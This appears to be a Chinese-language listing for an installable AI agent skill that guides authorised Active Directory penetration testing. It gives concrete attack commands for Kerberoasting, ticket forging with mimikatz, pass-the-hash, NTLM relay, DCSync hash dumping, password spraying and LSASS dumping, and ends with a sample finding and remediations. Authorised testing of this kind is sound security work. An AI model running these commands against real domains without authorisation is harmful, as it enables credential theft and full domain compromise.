mcpField
E
executing-active-directory-attack-simulation

executing-active-directory-attack-simulation

github.com/mukul975安全35.2k68 次安装8 周前更新
代码仓库

关于 executing-active-directory-attack-simulation

面向获授权安全测试人员的 Active Directory 攻击模拟技能,提供从环境侦察、攻击路径分析到 Kerberos 与凭证测试的流程。强调事先书面授权、范围约束和避免影响生产系统。

主要功能

  1. 01枚举域、用户、组与信任关系
  2. 02使用 BloodHound 分析攻击路径
  3. 03测试 Kerberos 配置与攻击面
  4. 04评估凭证攻击和横向移动路径
  5. 05记录提权链并提出修复方向

适用场景

  1. 01评估低权限账户到域管理员的路径
  2. 02验证 Kerberos 与委派配置
  3. 03测试 SOC 和 EDR 对 AD 技术的检测
  4. 04检查分层管理与特权访问措施

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill executing-active-directory-attack-simulation

安装后在 Claude Code 中输入/executing-active-directory-attack-simulation确认已加载。

包含的文件

除 SKILL.md 外,安装时一起下载的参考资料和脚本。

LICENSE
references/
api-reference.md
scripts/
agent.py

详细介绍

执行 Active Directory 攻击模拟

适用场景

  • 评估 Active Directory 域和林抵御常见及高级攻击技术的安全性
  • 使用权限关系分析,识别从低权限域用户到 Domain Admin 的攻击路径
  • 验证 Kerberos 安全配置、凭据策略和委派设置能否抵御已知攻击
  • 测试 SOC 和 EDR 工具针对 Active Directory 特定 TTP 的检测能力
  • 评估分层管理模型和特权访问工作站的有效性

未经授权不得使用:不得在未获得域所有者明确书面授权的情况下使用;未经批准,不得在工作时间针对生产域控制器进行测试;未经事先协调,不得进行可能导致真实用户账户锁定的测试。

前提条件

  • 书面授权,其中须明确目标 AD 域、测试限制以及任何禁止测试的账户或系统
  • 低权限域用户账户(最低起点),用于模拟真实的攻击者位置
  • 已加入域的测试工作站,或可通过端口 88、135、139、389、445、636、3268、3269 访问域控制器的网络连接
  • BloodHound Community Edition 或 Enterprise,以及 SharpHound/AzureHound 收集器
  • 攻击平台上已安装 Impacket toolkit、Mimikatz(或 pypykatz)、Rubeus 和 CrackMapExec
  • 用于离线凭据破解的 Hashcat 或 John the Ripper,以及当前的字典(rockyou.txt、SecLists)

工作流

步骤 1:Active Directory 侦察

从低权限域用户的角度枚举 AD 环境:

  • 域枚举:使用 Get-ADDomain 或 crackmapexec smb <dc_ip> -u <user> -p <pass> --domains,识别域名、功能级别、域控制器和林信任关系
  • 用户枚举:使用 Get-ADUser -Filter * -Properties ServicePrincipalName,AdminCount,PasswordLastSet,识别服务账户、特权账户和过期密码
  • 组枚举:使用 net group "Domain Admins" /domain,映射高价值组(Domain Admins、Enterprise Admins、Schema Admins、Account Operators、Backup Operators)的成员关系
  • GPO 枚举:使用 Get-GPO -All | Get-GPOReport -ReportType XML,识别组策略配置,包括密码策略、审核设置和软件部署
  • 信任关系枚举:使用 nltest /domain_trusts /all_trusts,映射域间和林间信任关系,并记录信任方向和传递性
  • LDAP 查询:使用 ldapsearch 或 ADExplorer 搜索 userAccountControl 标志,识别标记为“密码永不过期”“不需要密码”或“仅 DES Kerberos”的账户
步骤 2:BloodHound 攻击路径分析

收集并分析 AD 关系数据,以识别通往 Domain Admin 的最短路径:

  • 运行 SharpHound 收集器:SharpHound.exe -c All,GPOLocalGroup --outputdirectory C:\temp\,收集用户、组、会话、ACL、信任关系和 GPO 数据
  • 将 JSON 输出导入 BloodHound,并运行内置查询:
    • “从已控制主体到 Domain Admins 的最短路径”
    • “查找具有 DCSync 权限的主体”
    • “查找域用户拥有本地管理员权限的计算机”
    • “到非约束委派系统的最短路径”
    • “查找来自所有可进行 Kerberoast 攻击的用户的路径”
  • 在 BloodHound 中将已攻陷用户标记为“已控制”,并分析由此产生的攻击路径
  • 识别基于 ACL 的攻击路径:高价值对象上的 GenericAll、GenericWrite、WriteDACL、WriteOwner、ForceChangePassword 权限
  • 记录每条已识别攻击路径的关系链和受影响对象
第 3 步:Kerberos 攻击

针对已识别的易受攻击账户执行基于 Kerberos 的攻击:

  • Kerberoasting:为具有 SPN 的账户请求 TGS 票据:impacket-GetUserSPNs <domain>/<user>:<pass> -dc-ip <dc_ip> -request -outputfile kerberoast.hashes。使用 hashcat -m 13100 kerberoast.hashes /usr/share/wordlists/rockyou.txt 离线破解
  • AS-REP Roasting:针对未启用 Kerberos 预身份验证的账户:impacket-GetNPUsers <domain>/ -dc-ip <dc_ip> -usersfile users.txt -format hashcat -outputfile asrep.hashes。使用 hashcat -m 18200 asrep.hashes /usr/share/wordlists/rockyou.txt 破解
  • Silver Ticket:如果服务账户的 NTLM 哈希已被破解,可使用 impacket-ticketer -nthash <hash> -domain-sid <sid> -domain <domain> -spn <service/host> <username> 为该服务伪造 TGS 票据
  • Golden Ticket:如果已获取 krbtgt 哈希(域遭到入侵后),可伪造 TGT:mimikatz "kerberos::golden /user:Administrator /domain:<domain> /sid:<sid> /krbtgt:<hash> /ticket:golden.kirbi"
  • 滥用无约束委派:识别启用了无约束委派的计算机。使用 PrinterBug 或 PetitPotam 强制域控制器进行身份验证,然后从内存中捕获该域控制器的 TGT。
第 4 步:凭证攻击和横向移动

利用收集到的凭证在域内横向移动:

  • 哈希传递:使用 impacket-psexec <domain>/<user>@<target> -hashes <LM:NTLM>,在被入侵账户拥有本地管理员权限的系统上执行命令
  • 票据传递:使用 export KRB5CCNAME=ticket.ccache && impacket-psexec <domain>/<user>@<target> -k -no-pass 使用捕获或伪造的 Kerberos 票据
  • NTLM 中继:配置 impacket-ntlmrelayx -t ldap://<dc_ip> --escalate-user <user>,并强制进行身份验证,以中继 NTLM 凭证来提升权限
  • DCSync:如果已获得 DCSync 权限(复制目录更改):使用 impacket-secretsdump <domain>/<user>:<pass>@<dc_ip> -just-dc-ntlm 转储域内所有密码哈希
  • 密码喷洒:使用 crackmapexec smb <dc_ip> -u users.txt -p 'Winter2025!' --no-bruteforce,对所有账户测试一个密码,以避免账户锁定
  • LSASS 转储:在被入侵的主机上,使用 mimikatz "sekurlsa::logonpasswords" 或 procdump -ma lsass.exe lsass.dmp 从 LSASS 内存中提取凭证,然后离线提取
第 5 步:提升权限至 Domain Admin

串联发现的攻击路径,将低权限用户的权限提升至 Domain Admin:

  • 按照 BloodHound 识别出的最短路径,逐步执行每个关系(例如,对用户拥有 GenericWrite -> 设置 SPN -> Kerberoast -> 破解密码 -> 用户属于一个对 Domain Admins 拥有 WriteDACL 权限的组 -> 授予自己组成员资格)
  • 如果发现组策略首选项(GPP)密码,则利用这些密码:crackmapexec smb <dc_ip> -u <user> -p <pass> -M gpp_autologon
  • 如果部署了 LAPS(本地管理员密码解决方案),则以其为目标:使用 Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd 查询 LAPS 密码
  • 使用 Certipy 滥用证书服务(AD CS):运行 certipy find -vulnerable -u <user>@<domain> -p <pass> -dc-ip <dc_ip>,查找可利用的证书模板(ESC1-ESC8)
  • 记录从初始用户到 Domain Admin 的完整攻击链,包括所用的每项凭证、工具和技术

关键概念

术语定义
Kerberoasting为具有服务主体名称的账户请求 Kerberos TGS 票据,并在离线状态下破解这些票据以还原服务账户的明文密码
AS-REP Roasting为未启用预身份验证的账户请求 Kerberos AS-REP 响应,并在离线状态下破解加密时间戳
DCSync利用目录复制服务权限(DS-Replication-Get-Changes-All)从域控制器复制密码数据,模拟 DC 的行为
BloodHound基于图的 Active Directory 分析工具,可映射权限关系,并识别从任意用户到域管理员等高价值目标的攻击路径
Unconstrained Delegation一种 Kerberos 委派配置,服务可模拟任意用户访问任何其他服务,从而捕获连接用户的 TGT
Pass-the-Hash一种身份验证技术,直接使用 NTLM 哈希而非明文密码,利用 Windows NTLM 身份验证机制
AD CS Abuse利用配置错误的 Active Directory 证书服务模板申请证书,从而获取更高权限或冒充其他用户
NTLM Relay将捕获的 NTLM 身份验证转发到其他服务,以受害者身份进行身份验证;在未强制启用 SMB 签名时尤为有效

工具与系统

  • BloodHound:攻击路径分析工具,可导入由 SharpHound 收集的 AD 数据,通过可视化对象关系识别权限提升路径
  • Impacket:用于网络协议交互的 Python 工具包,包含 Kerberos 攻击工具(GetUserSPNs、GetNPUsers)、凭据转储工具(secretsdump)和远程执行工具(psexec、wmiexec)
  • Mimikatz:后渗透工具,可从 Windows 内存(LSASS 进程)中提取明文凭据、NTLM 哈希和 Kerberos 票据
  • CrackMapExec:面向 Active Directory 环境的多协议攻击工具,支持 SMB、LDAP、WinRM 和 MSSQL,并内置密码喷洒和枚举模块
  • Certipy:用于枚举和利用 Active Directory 证书服务(AD CS)配置错误的 Python 工具

常见场景

场景:医疗机构的域失陷评估

背景:某医院网络拥有一个 Active Directory 林,其中包含 5,000 个用户账户、800 个计算机对象和分布在 3 个站点的 15 个域控制器。测试人员从一个低权限域用户账户开始。目标是判断攻击者能否利用窃取的员工凭据提升至域管理员权限。

方法:

  1. 运行 SharpHound 收集 AD 关系数据,并导入 BloodHound
  2. BloodHound 揭示一条路径:已控制用户 -> IT-Support 组成员 -> 对 SVC-SQL 账户拥有 GenericAll 权限 -> SVC-SQL 具有 SPN -> Kerberoast -> SVC-SQL 是 DB-SERVER-01 的本地管理员 -> DB-SERVER-01 上存在域管理员会话
  3. 对 SVC-SQL 进行 Kerberoast,使用 hashcat 在 12 分钟内破解其弱密码(Summer2023!)
  4. 使用 SVC-SQL 凭据通过 psexec 访问 DB-SERVER-01
  5. 从 DB-SERVER-01 的 LSASS 内存中提取域管理员凭据
  6. 执行 DCSync 转储所有域哈希,验证域已失陷
  7. 报告完整攻击链及修复建议:为服务账户设置 25 个字符以上的密码、启用仅 AES 的 Kerberos 加密、移除不必要的本地管理员权限、实施分层管理

注意事项:

  • 在业务高峰期使用噪声较大的收集方法运行 SharpHound,过多的 LDAP 查询可能触发 SOC 警报
  • 未先检查域锁定策略就进行密码喷洒,导致数百个账户被锁定
  • 忘记检查 AD CS 漏洞;这类漏洞通常能提供最快的域管理员权限提升路径
  • 未检查陈旧的计算机账户,这些账户可能仍缓存凭据或保留活动会话

输出格式

## Finding: Service Account Vulnerable to Kerberoasting with Weak Password

**ID**: AD-002
**Severity**: Critical (CVSS 9.1)
**Affected Object**: [email protected] (Service Account)
**Attack Technique**: MITRE ATT&CK T1558.003 - Kerberoasting

**Description**:
The service account SVC-SQL has a Service Principal Name (MSSQLSvc/db-server-01.corp.example.com:1433)
registered in Active Directory and uses a weak password that was cracked in 12 minutes
using hashcat with the rockyou.txt wordlist. This account has local administrator
privileges on DB-SERVER-01, which had an active Domain Admin session at the time of
testing.

**Attack Chain**:
1. Requested TGS ticket: impacket-GetUserSPNs corp.example.com/testuser:password -request
2. Cracked hash: hashcat -m 13100 hash.txt rockyou.txt (cracked in 12m: Summer2023!)
3. Lateral movement: impacket-psexec corp.example.com/SVC-SQL:Summer2023!@db-server-01
4. Credential extraction: mimikatz sekurlsa::logonpasswords -> Domain Admin NTLM hash

**Impact**:
Complete domain compromise from a single low-privilege domain user account. An attacker
could access all 5,000 user accounts, 800 computer objects, and all data within the domain.

**Remediation**:
1. Set a 25+ character randomly generated password for SVC-SQL and all service accounts
2. Migrate to Group Managed Service Accounts (gMSA) which rotate 120-character passwords automatically
3. Enable AES256 encryption for Kerberos and disable RC4 (DES) encryption
4. Remove SVC-SQL from local administrator groups on DB-SERVER-01
5. Implement Protected Users group for privileged accounts to prevent credential caching
6. Deploy Microsoft Defender for Identity to detect Kerberoasting and DCSync attacks

评论

支持 Markdown